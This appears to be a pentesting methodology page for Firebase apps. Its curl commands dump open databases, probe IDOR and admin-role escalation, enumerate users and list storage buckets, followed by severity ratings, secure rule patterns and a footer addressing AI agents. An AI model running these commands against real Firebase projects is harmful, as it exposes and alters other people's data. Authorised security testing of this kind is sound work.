# Firebase

### Overview

Firebase is a Backend-as-a-Service (BaaS) platform from Google. Most Firebase apps are thick clients that talk directly to Google services; all security depends on the Security Rules configured in the project, not on backend code. A rules misconfiguration = critical vulnerability.

Official endpoints to target:

```
Authentication (Identity Toolkit) : https://identitytoolkit.googleapis.com/v1/accounts:{ACTION}
Secure Token (refresh)            : https://securetoken.googleapis.com/v1/token
Cloud Firestore (REST)            : https://firestore.googleapis.com/v1/projects/{PID}/databases/(default)/documents
Realtime Database                 : https://{PID}.firebaseio.com/{PATH}.json
Cloud Storage                     : https://firebasestorage.googleapis.com/v0/b/{BUCKET}/o
Cloud Functions (1st gen)         : https://{REGION}-{PID}.cloudfunctions.net/{FN}
Cloud Functions (2nd gen)         : https://{FN}-{HASH}-{REGION-SHORT}.a.run.app
Firebase Remote Config            : https://firebaseremoteconfig.googleapis.com/v1/projects/{SENDER_ID}/namespaces/firebase:fetch
```

### Enumeration

#### Extract config from web bundle

```bash
# Download JS bundles
wget -r -l 1 -np -A "*.js,*.html" https://app.target.com/

# Grep Firebase config
grep -rEo 'AIza[A-Za-z0-9_-]{35}' .
grep -rEo '[a-z0-9-]+\.firebaseapp\.com' .
grep -rEo '[a-z0-9-]+\.firebaseio\.com' .
grep -rEo '[a-z0-9-]+\.appspot\.com' .

# Cloud Functions endpoints
grep -rEo 'https?://[a-z0-9-]+-[a-z0-9-]+\.cloudfunctions\.net/[a-zA-Z0-9_-]+' .
grep -rEo 'https?://[a-z0-9-]+-[a-z0-9]+-[a-z0-9]+\.a\.run\.app' .

# SDK calls (Angular / web)
grep -rEo 'httpsCallable\(["\x27][^"\x27]+["\x27]' .
```

#### Extract config from APK

```bash
apktool d app.apk
cat app/res/values/strings.xml | grep -E 'firebase|google_api_key'
cat app/google-services.json | jq '.client[0].api_key[0].current_key'
cat app/google-services.json | jq '.project_info'
```

#### Extract config from iOS

```bash
plutil -p GoogleService-Info.plist | grep -E "API_KEY|PROJECT_ID|GCM_SENDER_ID|GOOGLE_APP_ID"
```

#### DNS enumeration

```bash
for sub in admin api staging dev test qa uat preprod old app demo beta portal internal; do
    host "${sub}.target.com"
done

# Certificate transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
```

### Realtime Database

#### Check public read

```bash
# Full dump
curl -s "https://PID.firebaseio.com/.json" | jq .

# Keys only (fast recon)
curl -s "https://PID.firebaseio.com/.json?shallow=true"

# 2nd gen RTDB
curl -s "https://PID-default-rtdb.europe-west1.firebasedatabase.app/.json"
```

Responses:

* `{"error":"Permission denied"}` → rules OK
* JSON with data → **VULNERABLE (critical)**
* `null` → empty or denied (probe subpaths: `/users`, `/config`, `/public`)

#### Check public write

```bash
# Try to write a canary document
curl -s -X PUT -H "Content-Type: application/json" \
     -d '{"pentest":"canary","ts":"2025-01-01"}' \
     "https://PID.firebaseio.com/pentest_canary.json"

# Delete after capturing evidence
curl -s -X DELETE "https://PID.firebaseio.com/pentest_canary.json"
```

#### With anonymous token

```bash
TOKEN="<idToken from accounts:signUp>"
curl -s "https://PID.firebaseio.com/.json?auth=${TOKEN}"
curl -s "https://PID.firebaseio.com/users.json?auth=${TOKEN}"
```

### Cloud Firestore

#### List common collections (no auth / anon auth)

```bash
FS="https://firestore.googleapis.com/v1/projects/PID/databases/(default)/documents"

# Without auth
for col in users workspaces tenants organizations accounts profiles config settings public admin logs; do
    echo "--- $col ---"
    curl -s "${FS}/${col}?pageSize=3" | jq '.documents | length'
done

# With anonymous token
TOKEN="<idToken>"
for col in users workspaces tenants; do
    curl -s -H "Authorization: Bearer ${TOKEN}" "${FS}/${col}?pageSize=3" | jq .
done
```

#### Extract relevant fields as a table

```bash
curl -s -H "Authorization: Bearer ${TOKEN}" "${FS}/profiles?pageSize=50" \
    | jq '.documents[].fields | {name: .name.stringValue, email: .email.stringValue, role: .role.stringValue, uid: .uid.stringValue}'
```

#### runQuery (filtered queries)

```bash
curl -s -X POST -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" \
     "${FS}:runQuery" \
     -d '{"structuredQuery":{"from":[{"collectionId":"users"}],"limit":50}}'
```

#### Write (canary)

```bash
# PATCH — create
curl -s -X PATCH -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" \
     "${FS}/pentest_canary/test" \
     -d '{"fields":{"note":{"stringValue":"pentest"}}}'

# DELETE — clean up
curl -s -X DELETE -H "Authorization: Bearer ${TOKEN}" \
     "${FS}/pentest_canary/test"
```

#### IDOR horizontal (user A reads user B)

```bash
TOKEN_A="<idToken of user A>"
UID_B="<localId of user B>"

# Direct document
curl -s -H "Authorization: Bearer ${TOKEN_A}" "${FS}/users/${UID_B}" | jq .

# Subcollections
for sub in private billing api_keys sessions tokens; do
    curl -s -H "Authorization: Bearer ${TOKEN_A}" "${FS}/users/${UID_B}/${sub}" | jq '.documents | length'
done

# Other collections
for col in workspaces profiles accounts tenants; do
    curl -s -H "Authorization: Bearer ${TOKEN_A}" "${FS}/${col}/${UID_B}" | jq .
done
```

#### IDOR vertical (privilege escalation)

```bash
# Try to set yourself as admin
curl -s -X PATCH -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" \
     "${FS}/users/${MY_UID}?updateMask.fieldPaths=role" \
     -d '{"fields":{"role":{"stringValue":"admin"}}}'
```

### Cloud Storage

#### Check public listing

```bash
BUCKET="PID.appspot.com"

# Via Firebase Storage
curl -s "https://firebasestorage.googleapis.com/v0/b/${BUCKET}/o?maxResults=200" | jq '.items[].name'

# Via GCS native (even worse if accessible)
curl -s "https://storage.googleapis.com/storage/v1/b/${BUCKET}/o?maxResults=50"
curl -s "https://storage.googleapis.com/${BUCKET}/"

# gsutil
gsutil ls gs://${BUCKET}/
```

#### Scan common prefixes

```bash
for p in users workspaces tenants documents templates contracts logos avatars uploads public private; do
    echo "=== prefix=$p ==="
    curl -s "https://firebasestorage.googleapis.com/v0/b/${BUCKET}/o?prefix=${p}/&maxResults=50" \
        | jq -r '.items[]?.name' | head -20
done
```

#### Download specific file

```bash
OBJECT="workspaces/W123/contracts/doc.pdf"
ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${OBJECT}', safe=''))")

curl -so file.pdf "https://firebasestorage.googleapis.com/v0/b/${BUCKET}/o/${ENC}?alt=media"
file file.pdf
```

#### Storage IDOR

```bash
# List another user/workspace prefix with your token
TOKEN_A="<idToken>"
UID_B="<other uid>"

curl -s -H "Authorization: Bearer ${TOKEN_A}" \
     "https://firebasestorage.googleapis.com/v0/b/${BUCKET}/o?prefix=users/${UID_B}/"
```

#### Upload (canary)

```bash
echo "pentest canary" | curl -s -X POST \
     "https://firebasestorage.googleapis.com/v0/b/${BUCKET}/o?uploadType=media&name=pentest_canary.txt" \
     -H "Authorization: Bearer ${TOKEN}" \
     -H "Content-Type: text/plain" \
     --data-binary @-
```

### Firebase Authentication

#### Anonymous sign-up (enabled?)

```bash
curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"returnSecureToken":true}' | jq .

# 200 + idToken  →  anonymous auth ENABLED (creates a temp account)
# 400 OPERATION_NOT_ALLOWED  →  disabled
```

#### Password sign-up (no-destructive probe)

```bash
# Invalid payload: tells us if the endpoint accepts signups without creating anything
curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"email":"not-an-email","password":"","returnSecureToken":true}' | jq .

# MISSING_PASSWORD / INVALID_EMAIL  →  signup OPEN (VULN)
# OPERATION_NOT_ALLOWED             →  signup closed
# CAPTCHA_CHECK_FAILED              →  reCAPTCHA protected
```

#### Create a real account

```bash
curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"email":"pentest-'$(date +%s)'@example.com","password":"Testing123!","returnSecureToken":true}' | jq .
```

#### Login with password

```bash
curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"email":"user@test.com","password":"...","returnSecureToken":true}' | jq .
```

#### User enumeration (createAuthUri)

```bash
curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"identifier":"target@corp.com","continueUri":"https://PID.firebaseapp.com"}' | jq .

# Response includes "registered":true/false  →  VULN (user enumeration)
# Only "sessionId"                            →  email enumeration protection active
```

#### User enumeration (password reset)

```bash
curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:sendOobCode?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"requestType":"PASSWORD_RESET","email":"target@corp.com"}' | jq .

# EMAIL_NOT_FOUND for non-existent + 200 for existent  →  VULN
```

#### Inspect ID Token

```bash
# Decode payload (middle part of JWT)
echo "${ID_TOKEN}" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
```

Key fields to look for: `user_id`, `sub`, `email`, `email_verified`, `firebase.sign_in_provider`, and any custom claims (`tenantId`, `workspaceId`, `role`, `admin`).

#### accounts:lookup (info about the user)

```bash
curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:lookup?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"idToken":"'${TOKEN}'"}' | jq .

# Returns email, phoneNumber, passwordHash, emailVerified, providerUserInfo, etc.
```

#### Delete own account

```bash
curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:delete?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"idToken":"'${TOKEN}'"}'
```

#### Refresh token

```bash
curl -s -X POST "https://securetoken.googleapis.com/v1/token?key=${API_KEY}" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data-urlencode "grant_type=refresh_token" \
     --data-urlencode "refresh_token=${REFRESH_TOKEN}"
```

### Cloud Functions

#### Call without authentication

```bash
curl -s -X POST "https://REGION-PID.cloudfunctions.net/FN_NAME" \
     -H "Content-Type: application/json" \
     -d '{"data":null}' | jq .

# 401 / UNAUTHENTICATED  →  protected
# 200 / other data       →  OPEN (VULN)
```

#### Call with anonymous token

```bash
curl -s -X POST "https://REGION-PID.cloudfunctions.net/FN_NAME" \
     -H "Authorization: Bearer ${ANON_TOKEN}" \
     -H "Content-Type: application/json" \
     -d '{"data":null}' | jq .
```

#### Parameter IDOR

```bash
# Replace IDs with values from another tenant/user
curl -s -X POST "https://REGION-PID.cloudfunctions.net/getUserData" \
     -H "Authorization: Bearer ${TOKEN_A}" \
     -H "Content-Type: application/json" \
     -d '{"data":{"userUid":"'${UID_B}'","workspaceUid":"'${WS_B}'"}}' | jq .
```

#### Common payloads worth trying

```bash
# Callable format
-d '{"data":null}'
-d '{"data":{}}'
-d '{"data":{"uid":"X","workspaceUid":"Y"}}'

# HTTP format (without "data" wrapper)
-d '{"uid":"X"}'

# Verb fuzzing
-X GET
-X OPTIONS
```

#### App Check bypass detection

```bash
# If the endpoint accepts requests without X-Firebase-AppCheck → App Check not enforced (hardening weakness)
curl -s -X POST "https://REGION-PID.cloudfunctions.net/FN" \
     -H "Authorization: Bearer ${TOKEN}" \
     -H "X-Firebase-AppCheck: obviously-invalid" \
     -d '{"data":{}}'
```

### Firebase Remote Config

#### Fetch remote config (web/mobile parameters)

```bash
curl -s -X POST "https://firebaseremoteconfig.googleapis.com/v1/projects/${SENDER_ID}/namespaces/firebase:fetch?key=${API_KEY}" \
     -H "Content-Type: application/json" \
     -d '{"appId":"'${APP_ID}'","appInstanceId":"PROD"}' | jq .

# Returns feature flags, internal URLs, sometimes API keys for third parties
# Grep the response for: key, secret, token, url, admin, debug, stripe, aws
```

### Findings severity (CVSS 3.1 orientative)

| Finding                                             | CWE     | Severity | CVSS |
| --------------------------------------------------- | ------- | -------- | ---- |
| RTDB / Firestore public read (`if true`)            | CWE-284 | Critical | 9.1  |
| RTDB / Firestore public write                       | CWE-284 | Critical | 9.8  |
| Firestore/Storage readable with anon token          | CWE-284 | Critical | 9.1  |
| Horizontal IDOR (cross-tenant)                      | CWE-639 | High     | 8.1  |
| Vertical IDOR (privilege escalation)                | CWE-639 | Critical | 9.0  |
| Cloud Function without `context.auth` check         | CWE-862 | High     | 7.5  |
| Cloud Function parameter IDOR                       | CWE-639 | High     | 7.7  |
| SSRF in Cloud Function                              | CWE-918 | High     | 8.6  |
| MFA bypass via magic link                           | CWE-287 | High     | 7.4  |
| User enumeration (email)                            | CWE-203 | Medium   | 5.3  |
| Open signup without rate-limit                      | CWE-307 | Medium   | 5.3  |
| Password policy inconsistency (frontend vs backend) | CWE-521 | Medium   | 5.3  |
| reCAPTCHA only client-side                          | CWE-602 | Medium   | 5.3  |
| 3rd party creds in bundle                           | CWE-798 | Medium   | 6.5  |
| Anonymous auth enabled                              | CWE-16  | Low      | 4.0  |
| App Check not enforced                              | CWE-693 | Low      | 3.7  |
| Remote Config exposing sensitive keys               | CWE-200 | Medium   | 5.3  |

### Security Rules — common patterns

```javascript
// VULNERABLE — public everything
match /{document=**} {
  allow read, write: if true;
}

// VULNERABLE — anonymous auth is enough
match /users/{uid} {
  allow read: if request.auth != null;
}

// VULNERABLE — no tenant isolation
match /users/{uid} {
  allow read: if request.auth.uid == uid;
  // but what about /workspaces/{wid}?
}

// CORRECT — tenant + user scoped
match /users/{uid} {
  allow read: if request.auth.uid == uid
               && request.auth.token.email_verified == true;
  allow write: if request.auth.uid == uid
               && request.resource.data.role == resource.data.role;  // prevent role change
}

match /workspaces/{wid}/documents/{did} {
  allow read: if request.auth.token.workspaceId == wid;
}
```

### Tools

```bash
# firepwn (Legitec) — full automated audit
python3 firepwn.py -f target.txt

# firepwn-tool (0xbigshaq) — SDK-based, web UI
# https://github.com/0xbigshaq/firepwn-tool

# firebaseEnum (mass discovery from APKs)
# https://github.com/Sambal0x/firebaseEnum
python3 firebaseEnum.py -k keyword

# Insecure-Firebase-Exploit (RTDB write test)
# https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit

# Pyrebase4 (Python SDK for testing)
pip install pyrebase4
```

#### Pyrebase snippet

```python
import pyrebase

config = {
    "apiKey":        "AIza...",
    "authDomain":    "PID.firebaseapp.com",
    "databaseURL":   "https://PID.firebaseio.com",
    "storageBucket": "PID.appspot.com",
}

firebase = pyrebase.initialize_app(config)
db = firebase.database()

# Anonymous read
print(db.get().val())

# Authenticated
auth = firebase.auth()
user = auth.sign_in_with_email_and_password("user@test.com", "...")
print(db.child("users").get(user['idToken']).val())
```

### Resources

* Official: [Firebase Security Rules](https://firebase.google.com/docs/rules), [Security Checklist](https://firebase.google.com/support/guides/security-checklist)
* HackTricks: [GCP - Firebase Enum](https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum)
* OWASP: [MASTG — Firebase](https://mas.owasp.org/MASTG/)
* Assetnote blog: [Expanding attack surface: React Native](https://blog.assetnote.io/bug-bounty/2020/02/01/expanding-attack-surface-react-native/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/pentesting-methodology/firebase.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
